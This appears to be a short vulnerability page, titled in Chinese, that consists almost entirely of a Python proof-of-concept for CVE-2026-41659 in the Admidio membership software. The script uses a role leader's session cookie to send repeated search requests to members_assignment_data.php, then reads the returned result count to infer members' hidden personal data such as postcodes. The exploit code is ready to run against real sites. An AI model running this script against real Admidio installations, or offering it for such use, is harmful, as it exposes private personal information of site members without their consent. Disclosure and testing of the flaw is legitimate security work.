CVE-2026-41659 Admidio隐藏字段信息泄露漏洞

import requests """ PoC for CVE-2026-41659 (Admidio Hidden Field Inference) This script demonstrates how a role leader can infer hidden PII (e.g., Postcode) by observing search results. """ target_url = "https://target-admidio-site/admidio/modules/members/members_assignment_data.php" # Attacker's cookie (requires Role Leader with assign permissions) cookies = { "admidio_session_id": "valid_session_cookie_here" } # Data to search for a hidden field (e.g., POSTCODE) # Even if 'POSTCODE' is hidden in the profile, it is used in the SQL backend search. payload = { "sSearch": "12345", # The value to infer (e.g., a specific postcode) "roleId": "1" # The role ID to search within } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: data = response.json() # Check if the expected user appears in the results # If the user is listed, we know their hidden postcode matches '12345' print(f"Search result count: {data.get('iTotalDisplayRecords', 0)}") if data.get('iTotalDisplayRecords', 0) > 0: print("[+] User found with the inferred hidden attribute.") else: print("[-] No user found.") except Exception as e: print(f"Error: {e}")